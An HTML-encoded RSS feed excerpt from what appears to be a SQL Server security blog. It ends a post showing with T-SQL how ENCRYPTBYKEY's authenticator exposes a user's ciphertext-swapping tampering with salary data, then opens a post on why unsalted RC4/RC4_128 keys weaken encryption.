&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;ENCRYPTBYKEY&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: fuchsia;"&gt;key_guid&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'key_employee'&lt;/span&gt;&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;CONVERT(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;varbinary&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;100&lt;span style="color: gray;"&gt;),&lt;/span&gt; 1000.00&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; background: yellow; font-size: 10pt; mso-highlight: yellow;"&gt;1&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;CONVERT(&lt;/span&gt;&lt;span style="color: blue;"&gt;varbinary&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;8000&lt;span style="color: gray;"&gt;),&lt;/span&gt; employee_id&lt;span style="color: gray;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;)&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;WHERE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; employee_id &lt;span style="color: gray;"&gt;=&lt;/span&gt; 2;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;UPDATE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; employees &lt;span style="color: blue;"&gt;SET&lt;/span&gt; salary_crypt &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;ENCRYPTBYKEY&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: fuchsia;"&gt;key_guid&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'key_employee'&lt;/span&gt;&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;CONVERT(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;varbinary&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;100&lt;span style="color: gray;"&gt;),&lt;/span&gt; 1000.00&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; background: yellow; font-size: 10pt; mso-highlight: yellow;"&gt;1&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;CONVERT(&lt;/span&gt;&lt;span style="color: blue;"&gt;varbinary&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;8000&lt;span style="color: gray;"&gt;),&lt;/span&gt; employee_id&lt;span style="color: gray;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;)&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;WHERE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; employee_id &lt;span style="color: gray;"&gt;=&lt;/span&gt; 3;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--1&amp;nbsp;&amp;nbsp; Alice &lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;5000&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--2&amp;nbsp;&amp;nbsp; Bob &lt;span style="mso-tab-count: 2;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;1000&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--3&amp;nbsp;&amp;nbsp; Mallory &lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;1000&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;SELECT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; employee_id&lt;span style="color: gray;"&gt;,&lt;/span&gt; name&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;CONVERT(&lt;/span&gt;&lt;span style="color: blue;"&gt;decimal&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;DECRYPTBYKEY&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;salary_crypt&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="background: yellow; mso-highlight: yellow;"&gt;1&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;CONVERT(&lt;/span&gt;&lt;span style="color: blue;"&gt;varbinary&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;8000&lt;span style="color: gray;"&gt;),&lt;/span&gt; employee_id&lt;span style="color: gray;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span style="color: gray;"&gt;))&lt;/span&gt; &lt;span style="color: blue;"&gt;AS&lt;/span&gt; salary &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; employees;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;CLOSE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;SYMMETRIC&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; key_employee;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;GRANT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;UPDATE&lt;/span&gt; &lt;span style="color: blue;"&gt;ON&lt;/span&gt; employees &lt;span style="color: blue;"&gt;TO&lt;/span&gt; [mallory];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;GRANT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; &lt;span style="color: blue;"&gt;ON&lt;/span&gt; employees &lt;span style="color: blue;"&gt;TO&lt;/span&gt; [mallory];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;When using the @add_authenticator = 1 parameter during encryption, the @athenticator value is going to be used along to the plaintext to generate a hash (SHA-1) that is going to be verified during decryption. If the value for @authenticator specified during the decryption call cannot generate a matching hash (or not specified at all) the decryption call will fail and return NULL.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;-- Assuming the same attack as before&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;-- Did Mallory succeeded this time?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;OPEN&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;SYMMETRIC&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; key_employee &lt;span style="color: blue;"&gt;DECRYPTION&lt;/span&gt; &lt;span style="color: blue;"&gt;BY&lt;/span&gt; &lt;span style="color: blue;"&gt;CERTIFICATE&lt;/span&gt; cert_demo;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;Go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;-- ... no, she didn&amp;rsquo;t! She got a null salary this time, &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;-- This result would be a good indication of tampering&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--1&amp;nbsp;&amp;nbsp; Alice &lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;5000&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--2&amp;nbsp;&amp;nbsp; Bob &lt;span style="mso-tab-count: 2;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;1000&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; background: yellow; color: green; font-size: 10pt; mso-highlight: yellow;"&gt;--3&amp;nbsp;&amp;nbsp; Mallory &lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;null&lt;/span&gt;&lt;/b&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;SELECT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; employee_id&lt;span style="color: gray;"&gt;,&lt;/span&gt; name&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;CONVERT(&lt;/span&gt;&lt;span style="color: blue;"&gt;decimal&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;DECRYPTBYKEY&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;salary_crypt&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="background: yellow; mso-highlight: yellow;"&gt;1&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;CONVERT(&lt;/span&gt;&lt;span style="color: blue;"&gt;varbinary&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;8000&lt;span style="color: gray;"&gt;),&lt;/span&gt; employee_id&lt;span style="color: gray;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span style="color: gray;"&gt;))&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;AS &lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;salary &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; employees;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;I hope this information helps.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;-Raul&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;Special thanks to Jack Richins &amp;amp; Rick Byham for their feedback while writing this article.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10132488" width="1" height="1"&gt;</description></item><item><title>Revisiting the RC4 / RC4_128 Cipher</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2011/02/09/revisiting-the-rc4-rc4-128-cipher.aspx</link><pubDate>Wed, 09 Feb 2011 16:50:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10126881</guid><dc:creator>Don Pinto</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10126881</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2011/02/09/revisiting-the-rc4-rc4-128-cipher.aspx#comments</comments><description>&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;The implementation of RC4/RC4_128 in SQL Server does not salt the key and this severely weakens the security of data that is encrypted using the RC4/RC4_128 algorithm. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;In cryptography, an initialization vector (IV) is a fixed size input to a cryptographic algorithm that is typically required to be random or pseudorandom. Salting of cipher keys makes sure that the encryption algorithm always uses a randomized (IV) value. This leads to the following properties of the cipher-text data -&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;Encrypting the same piece of data two times by using the same key will produce two different cipher-text values. For example, a table might have a column value appearing multiple times. When encrypted, a user cannot recognize the presence of similar plain-text values by just comparing the cipher-text values.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div class="MsoNormal"&gt;&lt;span style="font-family: times new roman,times;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;This mechanism adds additional protection against cryptanalysis of the cipher-text data.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="font-family: 'Calibri','sans-serif'; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&lt;span style="font-size: medium;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpLast" align="center"&gt;&lt;span style="font-family: 'Calibri','sans-serif'; mso-no-proof: yes; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;v:shapetype coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" stroked="f" filled="f" id="_x0000_t75"&gt;&lt;v:stroke joinstyle="miter"&gt;&lt;/v:stroke&gt;&lt;v:formulas&gt;&lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 1 0"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum 0 0 @1"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @2 1 2"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelWidth"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelHeight"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 0 1"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @6 1 2"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelWidth"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @8 21600 0"&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelHeight"&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @10 21600 0"&gt;&lt;/v:f&gt;&lt;/v:formulas&gt;&lt;v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"&gt;&lt;/v:path&gt;&lt;o:lock v:ext="edit" aspectratio="t"&gt;&lt;/o:lock&gt;&lt;/v:shapetype&gt;&lt;/span&gt;&lt;span style="font-family: 'Calibri','sans-serif'; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoCaption" align="center"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;strong&gt;&lt;span style="color: #4f81bd;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/8623.NoSaltedKeys.jpg" border="0" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoCaption" align="center"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;strong&gt;&lt;span style="color: #4f81bd;"&gt;&lt;span style="font-family: Calibri;"&gt;Figure: Encryption without salted keys&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="text-align: center;"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/3302.WithSaltedKeys.jpg" border="0" /&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" align="center"&gt;&lt;span style="font-size: 12pt; mso-no-proof: yes; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoCaption" align="center"&gt;&lt;span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"&gt;&lt;strong&gt;&lt;span style="color: #4f81bd;"&gt;&lt;span style="font-family: Calibri;"&gt;Figure: Encryption with salted keys&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
